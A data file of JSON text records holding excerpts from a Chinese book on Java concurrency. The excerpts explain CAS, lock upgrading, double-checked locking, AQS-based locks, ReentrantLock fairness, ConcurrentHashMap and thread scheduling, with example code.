    {"text": "因为CAS需要在操作值的时候，检查值有没有发生变化，如果没有发生变化则更新，但是如果一个值原来是A，变成了B，又变成了A，那么使用CAS进行检查时会发现它的值没有发生变化，但是实际上却变化了。"},
    {"text": "这个类的compareAndSet方法的作用是首先检查当前引用是否等于预期引用，并且检查当前标志是否等于预期标志，如果全部相等，则以原子方式将该引用和该标志的值设置为给定的更新值。 public boolean compareAndSet( V expectedReference, // 预期引用 V newReference, // 更新后的引用 int expectedStamp, // 预期标志 int newStamp // 更新后的标志 ) 2）循环时间长开销大 。"},
    {"text": "pause指令有两个作用：第一，它可以延迟流水线执行指令（de-pipeline），使CPU不会消耗过多的执行资源，延迟的时间取决于具体实现的版本，在一些处理器上延迟时间是零；"},
    {"text": "当对一个共享变量执行操作时，我们可以使用循环CAS的方式来保证原子操作，但是对多个共享变量操作时，循环CAS就无法保证操作的原子性，这个时候就可以用锁。"},
    {"text": "还有一个取巧的办法，就是把多个共享变量合并成一个共享变量来操作。 比如，有两个共享变量i＝2，j=a，合并一下ij=2a，然后用CAS来操作ij。"},
    {"text": "JVM内部实现了很多种锁机制，有偏向锁、轻量级锁和互斥锁。 有意思的是除了偏向锁，JVM实现锁的方式都用了循环CAS，即当一个线程想进入同步块的时候使用循环CAS的方式来获取锁，当它退出同步块的时候使用循环CAS释放锁。"},
    {"text": "Unknown 1.3 资源限制的挑战 （1）什么是资源限制 资源限制是指在进行并发编程时，程序的执行速度受限于计算机硬件资源或软件资源。例如，服务器的带宽只有2Mb/s，某个资源的下载速度是1Mb/s每秒，系统启动10个线程下载资源，下载速度不会变成10Mb/s，所以在进行并发编程时，要考虑这些资源的限制。硬件资源限制有带宽的上传/下载速度、硬盘读写速度和CPU的处理速度。软件资源限制有数据库的连接数和socket连接数等。 （2）资源限制引发的问题 在并发编程中，将代码执行速度加快的原则是将代码中串行执行的部分变成并发执行，但是如果将某段串行的代码并发执行，因为受限于资源，仍然在串行执行，这时候程序不仅不会加快执行，反而会更慢，因为增加了上下文切换和资源调度的时间。例如，之前看到一段程序使用多线程在办公网并发地下载和处理数据时，导致CPU利用率达到100%，几个小时都不能运行完成任务，后来修改成单线程，一个小时就执行完成了。 （3）如何解决资源限制的问题 对于硬件资源限制，可以考虑使用集群并行执行程序。既然单机的资源有限制，那么就让程序在多机上运行。比如使用ODPS、Hadoop或者自己搭建服务器集群，不同的机器处理不同的数据。可以通过“数据ID%机器数”，计算得到一个机器编号，然后由对应编号的机器处理这笔数据。 对于软件资源限制，可以考虑使用资源池将资源复用。比如使用连接池将数据库和Socket连接复用，或者在调用对方webservice接口获取数据时，只建立一个连接。 （4）在资源限制情况下进行并发编程 如何在资源限制的情况下，让程序执行得更快呢？方法就是，根据不同的资源限制调整程序的并发度，比如下载文件程序依赖于两个资源——带宽和硬盘读写速度。有数据库操作时，涉及数据库连接数，如果SQL语句执行非常快，而线程的数量比数据库连接数大很多，则某些线程会被阻塞，等待数据库连接。 Unknown 3.8.1 双重检查锁定的由来 在Java程序中，有时候可能需要推迟一些高开销的对象初始化操作，并且只有在使用这些对象时才进行初始化。此时，程序员可能会采用延迟初始化。但要正确实现线程安全的延迟初始化需要一些技巧，否则很容易出现问题。比如，下面是非线程安全的延迟初始化对象的示例代码。 public class UnsafeLazyInitialization { private static Instance instance; public static Instance getInstance() { if (instance == null) // 1：A线程执行 instance = new Instance(); // 2：B线程执行 return instance; } } 在UnsafeLazyInitialization类中，假设A线程执行代码1的同时，B线程执行代码2。此时，线程A可能会看到instance引用的对象还没有完成初始化（出现这种情况的原因见3.8.2节）。 对于UnsafeLazyInitialization类，我们可以对getInstance()方法做同步处理来实现线程安全的延迟初始化。示例代码如下。 public class SafeLazyInitialization { private static Instance instance; public synchronized static Instance getInstance() { if (instance == null) instance = new Instance(); return instance; } } 由于对getInstance()方法做了同步处理，synchronized将导致性能开销。如果getInstance()方法被多个线程频繁的调用，将会导致程序执行性能的下降。反之，如果getInstance()方法不会被多个线程频繁的调用，那么这个延迟初始化方案将能提供令人满意的性能。 在早期的JVM中，synchronized（甚至是无竞争的synchronized）存在巨大的性能开销。因此，人们想出了一个“聪明”的技巧：双重检查锁定（Double-Checked Locking）。人们想通过双重检查锁定来降低同步的开销。下面是使用双重检查锁定来实现延迟初始化的示例代码。 public class DoubleCheckedLocking { // 1 private static Instance instance; // 2 public static Instance getInstance() { // 3 if (instance == null) { // 4:第一次检查 synchronized (DoubleCheckedLocking.class) { // 5:加锁 if (instance == null) // 6:第二次检查 instance = new Instance(); // 7:问题的根源出在这里 } // 8 } // 9 return instance; // 10 } // 11 } 如上面代码所示，如果第一次检查instance不为null，那么就不需要执行下面的加锁和初始化操作。因此，可以大幅降低synchronized带来的性能开销。上面代码表面上看起来，似乎两全其美。 ·多个线程试图在同一时间创建对象时，会通过加锁来保证只有一个线程能创建对象。 ·在对象创建好之后，执行getInstance()方法将不需要获取锁，直接返回已创建好的对象。 双重检查锁定看起来似乎很完美，但这是一个错误的优化！在线程执行到第4行，代码读取到instance不为null时，instance引用的对象有可能还没有完成初始化。"},
    {"text": "Unknown 1.1 上下文切换 即使是单核处理器也支持多线程执行代码，CPU通过给每个线程分配CPU时间片来实现这个机制。时间片是CPU分配给各个线程的时间，因为时间片非常短，所以CPU通过不停地切换线程执行，让我们感觉多个线程是同时执行的，时间片一般是几十毫秒（ms）。 CPU通过时间片分配算法来循环执行任务，当前任务执行一个时间片后会切换到下一个任务。但是，在切换前会保存上一个任务的状态，以便下次切换回这个任务时，可以再加载这个任务的状态。所以任务从保存到再加载的过程就是一次上下文切换。 这就像我们同时读两本书，当我们在读一本英文的技术书时，发现某个单词不认识，于是便打开中英文字典，但是在放下英文技术书之前，大脑必须先记住这本书读到了多少页的第多少行，等查完单词之后，能够继续读这本书。这样的切换是会影响读书效率的，同样上下文切换也会影响多线程的执行速度。 Unknown 3.6.4 final域为引用类型 上面我们看到的final域是基础数据类型，如果final域是引用类型，将会有什么效果？请看下列示例代码。 public class FinalReferenceExample { final int[] intArray; // final是引用类型 static FinalReferenceExample obj; public FinalReferenceExample () { // 构造函数 intArray = new int[1]; // 1 intArray[0] = 1; // 2 } public static void writerOne () { // 写线程A执行 obj = new FinalReferenceExample (); // 3 } public static void writerTwo () { // 写线程B执行 obj.intArray[0] = 2; // 4 } public static void reader () { // 读线程C执行 if (obj != null) { // 5 int temp1 = obj.intArray[0]; // 6 } } } 本例final域为一个引用类型，它引用一个int型的数组对象。对于引用类型，写final域的重排序规则对编译器和处理器增加了如下约束：在构造函数内对一个final引用的对象的成员域的写入，与随后在构造函数外把这个被构造对象的引用赋值给一个引用变量，这两个操作之间不能重排序。 对上面的示例程序，假设首先线程A执行writerOne()方法，执行完后线程B执行writerTwo()方法，执行完后线程C执行reader()方法。图3-31是一种可能的线程执行时序。 在图3-31中，1是对final域的写入，2是对这个final域引用的对象的成员域的写入，3是把被构造的对象的引用赋值给某个引用变量。这里除了前面提到的1不能和3重排序外，2和3也不能重排序。 JMM可以确保读线程C至少能看到写线程A在构造函数中对final引用对象的成员域的写入。即C至少能看到数组下标0的值为1。而写线程B对数组元素的写入，读线程C可能看得到，也可能看不到。JMM不保证线程B的写入对读线程C可见，因为写线程B和读线程C之间存在数据竞争，此时的执行结果不可预知。 如果想要确保读线程C看到写线程B对数组元素的写入，写线程B和读线程C之间需要使用同步原语（lock或volatile）来确保内存可见性。"},
    {"text": "Unknown 5.2.1 队列同步器的接口与示例 同步器的设计是基于模板方法模式的，也就是说，使用者需要继承同步器并重写指定的方法，随后将同步器组合在自定义同步组件的实现中，并调用同步器提供的模板方法，而这些模板方法将会调用使用者重写的方法。 重写同步器指定的方法时，需要使用同步器提供的如下3个方法来访问或修改同步状态。 ·getState()：获取当前同步状态。 ·setState(int newState)：设置当前同步状态。 ·compareAndSetState(int expect,int update)：使用CAS设置当前状态，该方法能够保证状态设置的原子性。 同步器可重写的方法与描述如表5-3所示。 表5-3 同步器可重写的方法 实现自定义同步组件时，将会调用同步器提供的模板方法，这些（部分）模板方法与描述如表5-4所示。 表5-4 同步器提供的模板方法 同步器提供的模板方法基本上分为3类：独占式获取与释放同步状态、共享式获取与释放同步状态和查询同步队列中的等待线程情况。自定义同步组件将使用同步器提供的模板方法来实现自己的同步语义。 只有掌握了同步器的工作原理才能更加深入地理解并发包中其他的并发组件，所以下面通过一个独占锁的示例来深入了解一下同步器的工作原理。 顾名思义，独占锁就是在同一时刻只能有一个线程获取到锁，而其他获取锁的线程只能处于同步队列中等待，只有获取锁的线程释放了锁，后继的线程才能够获取锁，如代码清单5-2所示。 代码清单5-2 Mutex.java class Mutex implements Lock { // 静态内部类，自定义同步器 private static class Sync extends AbstractQueuedSynchronizer { // 是否处于占用状态 protected boolean isHeldExclusively() { return getState() == 1; } // 当状态为0的时候获取锁 public boolean tryAcquire(int acquires) { if (compareAndSetState(0, 1)) { setExclusiveOwnerThread(Thread.currentThread()); return true; } return false; } // 释放锁，将状态设置为0 protected boolean tryRelease(int releases) { if (getState() == 0) throw new IllegalMonitorStateException(); setExclusiveOwnerThread(null); setState(0); return true; } // 返回一个Condition，每个condition都包含了一个condition队列 Condition newCondition() { return new ConditionObject(); } } // 仅需要将操作代理到Sync上即可 private final Sync sync = new Sync(); public void lock() { sync.acquire(1); } public boolean tryLock() { return sync.tryAcquire(1); } public void unlock() { sync.release(1); } public Condition newCondition() { return sync.newCondition(); } public boolean isLocked() { return sync.isHeldExclusively(); } public boolean hasQueuedThreads() { return sync.hasQueuedThreads(); } public void lockInterruptibly() throws InterruptedException { sync.acquireInterruptibly(1); } public boolean tryLock(long timeout, TimeUnit unit) throws InterruptedException { return sync.tryAcquireNanos(1, unit.toNanos(timeout)); } } 上述示例中，独占锁Mutex是一个自定义同步组件，它在同一时刻只允许一个线程占有锁。Mutex中定义了一个静态内部类，该内部类继承了同步器并实现了独占式获取和释放同步状态。在tryAcquire(int acquires)方法中，如果经过CAS设置成功（同步状态设置为1），则代表获取了同步状态，而在tryRelease(int releases)方法中只是将同步状态重置为0。用户使用Mutex时并不会直接和内部同步器的实现打交道，而是调用Mutex提供的方法，在Mutex的实现中，以获取锁的lock()方法为例，只需要在方法实现中调用同步器的模板方法acquire(int args)即可，当前线程调用该方法获取同步状态失败后会被加入到同步队列中等待，这样就大大降低了实现一个可靠自定义同步组件的门槛。 Unknown 10.4 FutureTask详解 Future接口和实现Future接口的FutureTask类，代表异步计算的结果。"},
    {"text": "Unknown 6.1.1 为什么要使用ConcurrentHashMap 在并发编程中使用HashMap可能导致程序死循环。而使用线程安全的HashTable效率又非常低下，基于以上两个原因，便有了ConcurrentHashMap的登场机会。 （1）线程不安全的HashMap 在多线程环境下，使用HashMap进行put操作会引起死循环，导致CPU利用率接近100%，所以在并发情况下不能使用HashMap。例如，执行以下代码会引起死循环。 final HashMap<String, String> map = new HashMap<String, String>(2); Thread t = new Thread(new Runnable() { @Override public void run() { for (int i = 0; i < 10000; i++) { new Thread(new Runnable() { @Override public void run() { map.put(UUID.randomUUID().toString(), \"\"); } }, \"ftf\" + i).start(); } } }, \"ftf\"); t.start(); t.join(); HashMap在并发执行put操作时会引起死循环，是因为多线程会导致HashMap的Entry链表形成环形数据结构，一旦形成环形数据结构，Entry的next节点永远不为空，就会产生死循环获取Entry。 （2）效率低下的HashTable HashTable容器使用synchronized来保证线程安全，但在线程竞争激烈的情况下HashTable的效率非常低下。因为当一个线程访问HashTable的同步方法，其他线程也访问HashTable的同步方法时，会进入阻塞或轮询状态。如线程1使用put进行元素添加，线程2不但不能使用put方法添加元素，也不能使用get方法来获取元素，所以竞争越激烈效率越低。 （3）ConcurrentHashMap的锁分段技术可有效提升并发访问率 HashTable容器在竞争激烈的并发环境下表现出效率低下的原因是所有访问HashTable的线程都必须竞争同一把锁，假如容器里有多把锁，每一把锁用于锁容器其中一部分数据，那么当多线程访问容器里不同数据段的数据时，线程间就不会存在锁竞争，从而可以有效提高并发访问效率，这就是ConcurrentHashMap所使用的锁分段技术。首先将数据分成一段一段地存储，然后给每一段数据配一把锁，当一个线程占用锁访问其中一个段数据的时候，其他段的数据也能被其他线程访问。"},
    {"text": "Unknown 2.2.2 锁的升级与对比 Java SE 1.6为了减少获得锁和释放锁带来的性能消耗，引入了“偏向锁”和“轻量级锁”，在Java SE 1.6中，锁一共有4种状态，级别从低到高依次是：无锁状态、偏向锁状态、轻量级锁状态和重量级锁状态，这几个状态会随着竞争情况逐渐升级。锁可以升级但不能降级，意味着偏向锁升级成轻量级锁后不能降级成偏向锁。这种锁升级却不能降级的策略，目的是为了提高获得锁和释放锁的效率，下文会详细分析。 1.偏向锁 HotSpot [1] 的作者经过研究发现，大多数情况下，锁不仅不存在多线程竞争，而且总是由同一线程多次获得，为了让线程获得锁的代价更低而引入了偏向锁。当一个线程访问同步块并获取锁时，会在对象头和栈帧中的锁记录里存储锁偏向的线程ID，以后该线程在进入和退出同步块时不需要进行CAS操作来加锁和解锁，只需简单地测试一下对象头的Mark Word里是否存储着指向当前线程的偏向锁。如果测试成功，表示线程已经获得了锁。如果测试失败，则需要再测试一下Mark Word中偏向锁的标识是否设置成1（表示当前是偏向锁）：如果没有设置，则使用CAS竞争锁；如果设置了，则尝试使用CAS将对象头的偏向锁指向当前线程。 （1）偏向锁的撤销 偏向锁使用了一种等到竞争出现才释放锁的机制，所以当其他线程尝试竞争偏向锁时，持有偏向锁的线程才会释放锁。偏向锁的撤销，需要等待全局安全点（在这个时间点上没有正在执行的字节码）。它会首先暂停拥有偏向锁的线程，然后检查持有偏向锁的线程是否活着，如果线程不处于活动状态，则将对象头设置成无锁状态；如果线程仍然活着，拥有偏向锁的栈会被执行，遍历偏向对象的锁记录，栈中的锁记录和对象头的Mark Word要么重新偏向于其他线程，要么恢复到无锁或者标记对象不适合作为偏向锁，最后唤醒暂停的线程。图2-1中的线程1演示了偏向锁初始化的流程，线程2演示了偏向锁撤销的流程。 图2-1 偏向锁初始化的流程 （2）关闭偏向锁 偏向锁在Java 6和Java 7里是默认启用的，但是它在应用程序启动几秒钟之后才激活，如有必要可以使用JVM参数来关闭延迟：-XX:BiasedLockingStartupDelay=0。如果你确定应用程序里所有的锁通常情况下处于竞争状态，可以通过JVM参数关闭偏向锁：-XX:-UseBiasedLocking=false，那么程序默认会进入轻量级锁状态。 2.轻量级锁 （1）轻量级锁加锁 线程在执行同步块之前，JVM会先在当前线程的栈桢中创建用于存储锁记录的空间，并将对象头中的Mark Word复制到锁记录中，官方称为Displaced Mark Word。然后线程尝试使用CAS将对象头中的Mark Word替换为指向锁记录的指针。如果成功，当前线程获得锁，如果失败，表示其他线程竞争锁，当前线程便尝试使用自旋来获取锁。 （2）轻量级锁解锁 轻量级解锁时，会使用原子的CAS操作将Displaced Mark Word替换回到对象头，如果成功，则表示没有竞争发生。如果失败，表示当前锁存在竞争，锁就会膨胀成重量级锁。图2-2是两个线程同时争夺锁，导致锁膨胀的流程图。 图2-2 争夺锁导致的锁膨胀流程图 因为自旋会消耗CPU，为了避免无用的自旋（比如获得锁的线程被阻塞住了），一旦锁升级成重量级锁，就不会再恢复到轻量级锁状态。当锁处于这个状态下，其他线程试图获取锁时，都会被阻塞住，当持有锁的线程释放锁之后会唤醒这些线程，被唤醒的线程就会进行新一轮的夺锁之争。 3.锁的优缺点对比 表2-6是锁的优缺点的对比。 表2-6 锁的优缺点的对比 [1] 本节一些内容参考了HotSpot源码、对象头源码markOop.hpp、偏向锁源码biasedLocking.cpp，以及其他源码ObjectMonitor.cpp和BasicLock.cpp。"},
    {"text": "Unknown 4.1.3 线程优先级 现代操作系统基本采用时分的形式调度运行的线程，操作系统会分出一个个时间片，线程会分配到若干时间片，当线程的时间片用完了就会发生线程调度，并等待着下次分配。线程分配到的时间片多少也就决定了线程使用处理器资源的多少，而线程优先级就是决定线程需要多或者少分配一些处理器资源的线程属性。 在Java线程中，通过一个整型成员变量priority来控制优先级，优先级的范围从1~10，在线程构建的时候可以通过setPriority(int)方法来修改优先级，默认优先级是5，优先级高的线程分配时间片的数量要多于优先级低的线程。设置线程优先级时，针对频繁阻塞（休眠或者I/O操作）的线程需要设置较高优先级，而偏重计算（需要较多CPU时间或者偏运算）的线程则设置较低的优先级，确保处理器不会被独占。在不同的JVM以及操作系统上，线程规划会存在差异，有些操作系统甚至会忽略对线程优先级的设定，示例如代码清单4-2所示。 代码清单4-2 Priority.java public class Priority { private static volatile boolean notStart = true; private static volatile boolean notEnd = true; public static void main(String[] args) throws Exception { List<Job> jobs = new ArrayList<Job>(); for (int i = 0; i < 10; i++) { int priority = i < 5 Thread.MIN_PRIORITY : Thread.MAX_PRIORITY; Job job = new Job(priority); jobs.add(job); Thread thread = new Thread(job, \"Thread:\" + i); thread.setPriority(priority); thread.start(); } notStart = false; TimeUnit.SECONDS.sleep(10); notEnd = false; for (Job job : jobs) { System.out.println(\"Job Priority : \" + job.priority + \", Count : \" + job.jobCount); } } static class Job implements Runnable { private int priority; private long jobCount; public Job(int priority) { this.priority = priority; } public void run() { while (notStart) { Thread.yield(); } while (notEnd) { Thread.yield(); jobCount++; } } } } 运行该示例，在笔者机器上对应的输出如下。 Job Priority : 1, Count : 1259592 Job Priority : 1, Count : 1260717 Job Priority : 1, Count : 1264510 Job Priority : 1, Count : 1251897 Job Priority : 1, Count : 1264060 Job Priority : 10, Count : 1256938 Job Priority : 10, Count : 1267663 Job Priority : 10, Count : 1260637 Job Priority : 10, Count : 1261705 Job Priority : 10, Count : 1259967 从输出可以看到线程优先级没有生效，优先级1和优先级10的Job计数的结果非常相近，没有明显差距。这表示程序正确性不能依赖线程的优先级高低。 注意 线程优先级不能作为程序正确性的依赖，因为操作系统可以完全不用理会Java线程对于优先级的设定。笔者的环境为：Mac OS X 10.10，Java版本为1.7.0_71，经过笔者验证该环境下所有Java线程优先级均为5（通过jstack查看），对线程优先级的设置会被忽略。另外，尝试在Ubuntu 14.04环境下运行该示例，输出结果也表示该环境忽略了线程优先级的设置。 Unknown 6.4.3 Fork/Join框架的设计 我们已经很清楚Fork/Join框架的需求了，那么可以思考一下，如果让我们来设计一个Fork/Join框架，该如何设计？这个思考有助于你理解Fork/Join框架的设计。 步骤1 分割任务 。首先我们需要有一个fork类来把大任务分割成子任务，有可能子任务还是很大，所以还需要不停地分割，直到分割出的子任务足够小。 步骤2 执行任务并合并结果 。分割的子任务分别放在双端队列里，然后几个启动线程分别从双端队列里获取任务执行。子任务执行完的结果都统一放在一个队列里，启动一个线程从队列里拿数据，然后合并这些数据。 Fork/Join使用两个类来完成以上两件事情。 ①ForkJoinTask：我们要使用ForkJoin框架，必须首先创建一个ForkJoin任务。它提供在任务中执行fork()和join()操作的机制。通常情况下，我们不需要直接继承ForkJoinTask类，只需要继承它的子类，Fork/Join框架提供了以下两个子类。 ·RecursiveAction：用于没有返回结果的任务。 ·RecursiveTask：用于有返回结果的任务。 ②ForkJoinPool：ForkJoinTask需要通过ForkJoinPool来执行。 任务分割出的子任务会添加到当前工作线程所维护的双端队列中，进入队列的头部。当一个工作线程的队列里暂时没有任务时，它会随机从其他工作线程的队列的尾部获取一个任务。 Unknown 第6章 Java并发容器和框架 Java程序员进行并发编程时，相比于其他语言的程序员而言要倍感幸福，因为并发编程大师Doug Lea不遗余力地为Java开发者提供了非常多的并发容器和框架。本章让我们一起来见识一下大师操刀编写的并发容器和框架，并通过每节的原理分析一起来学习如何设计出精妙的并发程序。 Unknown 3.9 Java内存模型综述 前面对Java内存模型的基础知识和内存模型的具体实现进行了说明。下面对Java内存模型的相关知识做一个总结。"},
    {"text": "回忆在同步器一节中的示例（Mutex），同时考虑如下场景：当一个线程调用Mutex的lock()方法获取锁之后，如果再次调用lock()方法，则该线程将会被自己所阻塞，原因是Mutex在实现tryAcquire(int acquires)方法时没有考虑占有锁的线程再次获取锁的场景，而在调用tryAcquire(int acquires)方法时返回了false，导致该线程被阻塞。"},
    {"text": "而synchronized关键字隐式的支持重进入，比如一个synchronized修饰的递归方法，在方法执行时，执行线程在获取了锁之后仍能连续多次地获得该锁，而不像Mutex由于获取了锁，而在下一次获取锁时出现阻塞自己的情况。 ReentrantLock虽然没能像synchronized关键字一样支持隐式的重进入，但是在调用lock()方法时，已经获取到锁的线程，能够再次调用lock()方法获取锁而不被阻塞。"},
    {"text": "这里提到一个锁获取的公平性问题，如果在绝对时间上，先对锁进行获取的请求一定先被满足，那么这个锁是公平的，反之，是不公平的。 公平的获取锁，也就是等待时间最长的线程最优先获取锁，也可以说锁获取是顺序的。 ReentrantLock提供了一个构造函数，能够控制锁是否是公平的。 事实上，公平的锁机制往往没有非公平的效率高，但是，并不是任何场景都是以TPS作为唯一的指标，公平锁能够减少“饥饿”发生的概率，等待越久的请求越是能够得到优先满足。 下面将着重分析ReentrantLock是如何实现重进入和公平性获取锁的特性，并通过测试来验证公平性获取锁对性能的影响。 1.实现重进入 重进入是指任意线程在获取到锁之后能够再次获取该锁而不会被锁所阻塞，该特性的实现需要解决以下两个问题。 1） 线程再次获取锁 。 锁需要去识别获取锁的线程是否为当前占据锁的线程，如果是，则再次成功获取。"},
    {"text": "锁的最终释放要求锁对于获取进行计数自增，计数表示当前锁被重复获取的次数，而锁被释放时，计数自减，当计数等于0时表示锁已经成功释放。"},
    {"text": "ReentrantLock是通过组合自定义同步器来实现锁的获取与释放，以非公平性（默认的）实现为例，获取同步状态的代码如代码清单5-12所示。 代码清单5-12 ReentrantLock的nonfairTryAcquire方法 final boolean nonfairTryAcquire(int acquires) { final Thread current = Thread.currentThread(); int c = getState(); if (c == 0) { if (compareAndSetState(0, acquires)) { setExclusiveOwnerThread(current); return true; } } else if (current == getExclusiveOwnerThread()) { int nextc = c + acquires; if (nextc < 0) throw new Error(\"Maximum lock count exceeded\"); setState(nextc); return true; } return false; } 该方法增加了再次获取同步状态的处理逻辑：通过判断当前线程是否为获取锁的线程来决定获取操作是否成功，如果是获取锁的线程再次请求，则将同步状态值进行增加并返回true，表示获取同步状态成功。 成功获取锁的线程再次获取锁，只是增加了同步状态值，这也就要求ReentrantLock在释放同步状态时减少同步状态值，该方法的代码如代码清单5-13所示。 代码清单5-13 ReentrantLock的tryRelease方法 protected final boolean tryRelease(int releases) { int c = getState() - releases; if (Thread.currentThread() != getExclusiveOwnerThread()) throw new IllegalMonitorStateException(); boolean free = false; if (c == 0) { free = true; setExclusiveOwnerThread(null); } setState(c); return free; } 如果该锁被获取了n次，那么前(n-1)次tryRelease(int releases)方法必须返回false，而只有同步状态完全释放了，才能返回true。 可以看到，该方法将同步状态是否为0作为最终释放的条件，当同步状态为0时，将占有线程设置为null，并返回true，表示释放成功。"},
    {"text": "2.公平与非公平获取锁的区别 公平性与否是针对获取锁而言的，如果一个锁是公平的，那么锁的获取顺序就应该符合请求的绝对时间顺序，也就是FIFO。"},
    {"text": "回顾上一小节中介绍的nonfairTryAcquire(int acquires)方法，对于非公平锁，只要CAS设置同步状态成功，则表示当前线程获取了锁，而公平锁则不同，如代码清单5-14所示。 代码清单5-14 ReentrantLock的tryAcquire方法 protected final boolean tryAcquire(int acquires) { final Thread current = Thread.currentThread(); int c = getState(); if (c == 0) { if (!hasQueuedPredecessors() && compareAndSetState(0, acquires)) { setExclusiveOwnerThread(current); return true; } } else if (current == getExclusiveOwnerThread()) { int nextc = c + acquires; if (nextc < 0) throw new Error(\"Maximum lock count exceeded\"); setState(nextc); return true; } return false; } 该方法与nonfairTryAcquire(int acquires)比较，唯一不同的位置为判断条件多了hasQueuedPredecessors()方法，即加入了同步队列中当前节点是否有前驱节点的判断，如果该方法返回true，则表示有线程比当前线程更早地请求获取锁，因此需要等待前驱线程获取并释放锁之后才能继续获取锁。 下面编写一个测试来观察公平和非公平锁在获取锁时的区别，在测试用例中定义了内部类ReentrantLock2，该类主要公开了getQueuedThreads()方法，该方法返回正在等待获取锁的线程列表，由于列表是逆序输出，为了方便观察结果，将其进行反转，测试用例（部分）如代码清单5-15所示。 代码清单5-15 FairAndUnfairTest.java public class FairAndUnfairTest { private static Lock fairLock = new ReentrantLock2(true); private static Lock unfairLock = new ReentrantLock2(false); @Test public void fair() { testLock(fairLock); } @Test public void unfair() { testLock(unfairLock); } private void testLock(Lock lock) { // 启动5个Job（略） } private static class Job extends Thread { private Lock lock; public Job(Lock lock) { this.lock = lock; } public void run() { // 连续2次打印当前的Thread和等待队列中的Thread（略） } } private static class ReentrantLock2 extends ReentrantLock { public ReentrantLock2(boolean fair) { super(fair); } public Collection<Thread> getQueuedThreads() { List<Thread> arrayList = new ArrayList<Thread>(super. getQueuedThreads()); Collections.reverse(arrayList); return arrayList; } } } 分别运行fair()和unfair()两个测试方法，输出结果如表5-6所示。 表5-6 fair()和unfair()两个测试方法的输出结果 观察表5-6所示的结果（其中每个数字代表一个线程），公平性锁每次都是从同步队列中的第一个节点获取到锁，而非公平性锁出现了一个线程连续获取锁的情况。"},
    {"text": "再次观察上表的结果，如果把每次不同线程获取到锁定义为1次切换，公平性锁在测试中进行了10次切换，而非公平性锁只有5次切换，这说明非公平性锁的开销更小。"},
    {"text": "下面运行测试用例（测试环境：ubuntu server 14.04 i5-34708GB，测试场景：10个线程，每个线程获取100000次锁），通过vmstat统计测试运行时系统线程上下文切换的次数，运行结果如表5-7所示。"},
    {"text": "表5-7 公平性和非公平性在系统线程上下文切换方面的对比 在测试中公平性锁与非公平性锁相比，总耗时是其94.3倍，总切换次数是其133倍。"},
    {"text": "可以看出，公平性锁保证了锁的获取按照FIFO原则，而代价是进行大量的线程切换。 非公平性锁虽然可能造成线程“饥饿”，但极少的线程切换，保证了其更大的吞吐量。"},
    {"text": "Unknown 11.1.2 多生产者和多消费者场景 在多核时代，多线程并发处理速度比单线程处理速度更快，所以可以使用多个线程来生产数据，同样可以使用多个消费线程来消费数据。而更复杂的情况是，消费者消费的数据，有可能需要继续处理，于是消费者处理完数据之后，它又要作为生产者把数据放在新的队列里，交给其他消费者继续处理，如图11-1所示。 图11-1 多生产者消费者模式 我们在一个长连接服务器中使用了这种模式，生产者1负责将所有客户端发送的消息存放在阻塞队列1里，消费者1从队列里读消息，然后通过消息ID进行散列得到N个队列中的一个，然后根据编号将消息存放在到不同的队列里，每个阻塞队列会分配一个线程来消费阻塞队列里的数据。如果消费者2无法消费消息，就将消息再抛回到阻塞队列1中，交给其他消费者处理。 以下是消息总队列的代码。 /** * 总消息队列管理 * * @author tengfei.fangtf */ public class MsgQueueManager implements IMsgQueue{ private static final Logger LOGGER = LoggerFactory.getLogger(MsgQueueManager.class); /** * 消息总队列 */ public final BlockingQueue<Message> messageQueue; private MsgQueueManager() { messageQueue = new LinkedTransferQueue<Message>(); } public void put(Message msg) { try { messageQueue.put(msg); } catch (InterruptedException e) { Thread.currentThread().interrupt(); } } public Message take() { try { return messageQueue.take(); } catch (InterruptedException e) { Thread.currentThread().interrupt(); } return null; } } 启动一个消息分发线程。在这个线程里子队列自动去总队列里获取消息。 /** * 分发消息，负责把消息从大队列塞到小队列里 * * @author tengfei.fangtf */ static class DispatchMessageTask implements Runnable { @Override public void run() { BlockingQueue<Message> subQueue; for (;;) { // 如果没有数据，则阻塞在这里 Message msg = MsgQueueFactory.getMessageQueue().take(); // 如果为空，则表示没有Session机器连接上来， // 需要等待，直到有Session机器连接上来 while ((subQueue = getInstance().getSubQueue()) == null) { try { Thread.sleep(1000); } catch (InterruptedException e) { Thread.currentThread().interrupt(); } } // 把消息放到小队列里 try { subQueue.put(msg); } catch (InterruptedException e) { Thread.currentThread().interrupt(); } } } } 使用散列（hash）算法获取一个子队列，代码如下。 /** * 均衡获取一个子队列。 * * @return */ public BlockingQueue<Message> getSubQueue() { int errorCount = 0; for (;;) { if (subMsgQueues.isEmpty()) { return null; } int index = (int) (System.nanoTime() % subMsgQueues.size()); try { return subMsgQueues.get(index); } catch (Exception e) { // 出现错误表示，在获取队列大小之后，队列进行了一次删除操作 LOGGER.error(\"获取子队列出现错误\", e); if ((++errorCount) < 3) { continue; } } } } 使用的时候，只需要往总队列里发消息。 // 往消息队列里添加一条消息 IMsgQueue messageQueue = MsgQueueFactory.getMessageQueue(); Packet msg = Packet.createPacket(Packet64FrameType. TYPE_DATA, \"{}\".getBytes(), (short) 1); messageQueue.put(msg); Unknown 1.1.1 多线程一定快吗 下面的代码演示串行和并发执行并累加操作的时间，请分析：下面的代码并发执行一定比串行执行快吗？ public class ConcurrencyTest { private static final long count = 10000l; public static void main(String[] args) throws InterruptedException { concurrency(); serial(); } private static void concurrency() throws InterruptedException { long start = System.currentTimeMillis(); Thread thread = new Thread(new Runnable() { @Override public void run() { int a = 0; for (long i = 0; i < count; i++) { a += 5; } } }); thread.start(); int b = 0; for (long i = 0; i < count; i++) { b--; } long time = System.currentTimeMillis() - start; thread.join(); System.out.println(\"concurrency :\" + time+\"ms,b=\"+b); } private static void serial() { long start = System.currentTimeMillis(); int a = 0; for (long i = 0; i < count; i++) { a += 5; } int b = 0; for (long i = 0; i < count; i++) { b--; } long time = System.currentTimeMillis() - start; System.out.println(\"serial:\" + time+\"ms,b=\"+b+\",a=\"+a); } } 上述问题的答案是“不一定”，测试结果如表1-1所示。 表1-1 测试结果 从表1-1可以发现，当并发执行累加操作不超过百万次时，速度会比串行执行累加操作要慢。那么，为什么并发执行的速度会比串行慢呢？这是因为线程有创建和上下文切换的开销。"},
